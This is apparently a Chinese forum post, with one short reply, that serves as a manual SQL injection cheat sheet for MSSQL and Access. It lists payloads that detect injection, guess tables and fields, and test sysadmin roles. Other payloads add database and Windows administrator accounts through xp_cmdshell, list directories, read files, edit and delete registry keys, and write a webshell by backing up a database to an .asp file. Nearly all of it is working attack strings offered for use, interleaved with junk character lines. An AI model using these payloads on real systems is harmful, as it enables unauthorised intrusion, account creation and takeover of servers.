手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2

2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

. a( F3 {$ r( p4.搜索时没过滤参数的'and [查询条件] and '%25'='

5.判断数据库系统
( z0 @7 c0 ~3 f1 Y. g;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
$ ?" [8 A4 [0 I. ~3 K- C& o
6.猜数据库 ;and (select Count(*) from [数据库名])>0
+ K" k) Q& `' T$ P' X# T- t& Z
6 R, y' M0 y5 x, v7 l$ b7.猜字段 ;and (select Count(字段名) from 数据库名)>0

8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
7 h/ W+ H4 K9 r! _3 w  O' z
9.(1)猜字段的ascii值（access）
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

6 c2 i' c4 ^& Z8 R+ D3 x8 Z(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
+ e; B4 t$ \: T# G; `- E. `' D
10.测试权限结构（mssql）
$ R, e" }0 g& F% I" O2 ?;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ W! p- x" L7 P& X& s" e;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
: y9 |3 ?* F7 r) Y6 `;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
, Q! ^" b8 q2 F1 w" l;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
1 z/ j1 k7 r: F- H" E- K; S5 }, m;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

0 g/ F9 Z- i3 {* Q; E11.添加mssql和系统的帐户
4 c$ M" N$ I( I2 B4 |# B9 C0 F4 b. j;exec master.dbo.sp_addlogin username;--
3 I" T2 J- R/ w- D, F: ?& x
;exec master.dbo.sp_password null,username,password;--
* w. H3 b8 b4 M" G2 x; E
* r5 D6 s$ O7 l. M' ?- H* K;exec master.dbo.sp_addsrvrolemember sysadmin username;--
. N3 [5 V! n; r$ W8 _# \1 b; y7 f/ x
;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

;exec master.dbo.xp_cmdshell 'net user username password /add';--
2 ~, j4 p* H/ z) ]6 m# P3 i: l$ L
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
; Q9 e4 C$ B  F/ p3 R" U5 D
12.(1)遍历目录
: k- q# S4 Y3 K, u8 K$ G
. Z: g! r% `3 B; H) Z# i+ e4 p;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: L) n9 K4 \$ d& t  l;and (select top 1 paths from dirs)>0
# H1 K8 q& Y& z) `- C;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

3 q7 w- ~- K; f- d0 O% U8 J(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: [0 K# A! g, X9 h" W;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
7 T; U. C. l* Z- R* F;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
5 |+ J+ p% O& E3 X9 _;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程

% g5 F- ^( b* Y! qxp_regenumvalues 注册表根键, 子键
4 r6 m5 a' A+ c' Z;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
; Z* u: ^2 Q2 G* D7 i# `" O
xp_regread 根键,子键,键值名
;exec xp_regread
0 w' f( w6 C3 s& A8 H'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
" o, m) p5 e8 Q: S5 _( T: i. c
xp_regwrite 根键,子键, 值名, 值类型, 值
* g, o8 R8 t+ Z% k3 t! u1 d" d" a值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' i& V4 X2 W7 u9 x5 @2 V;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

! S* n* N3 ]" i4 h; ]# \" [7 Gxp_regdeletevalue 根键,子键,值名

8 f0 y+ w+ r. w' Wexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
1 _; C( u& B( ~) m  m' j* T+ R
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
  |2 q$ }% s" [; s; t
14.mssql的backup创建webshell
8 A0 l  z& q( e# b/ b& V  |use model
& {( }/ F* ~8 n' E$ Ncreate table cmd(str image);
insert into cmd(str) values ('');
backup database model to disk='c:\l.asp';

15.mssql内置函数
9 B3 n: ]. P; m;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
( K* e; d, Q; W% T. H0 L;and (select db_name())>0 得到当前连接的数据库
, ]2 f5 O$ W3 }( [
16.简洁的webshell
- i% [+ O: }* i2 i
use model
' }9 ~% o; y7 C- a
create table cmd(str image);

insert into cmd(str) values ('');

backup database model to disk='g:\wwwtest\l.asp';

5 N  s5 r( R* i) u& J4 i

老男孩

现在很多防注入啊，有其他注入字符码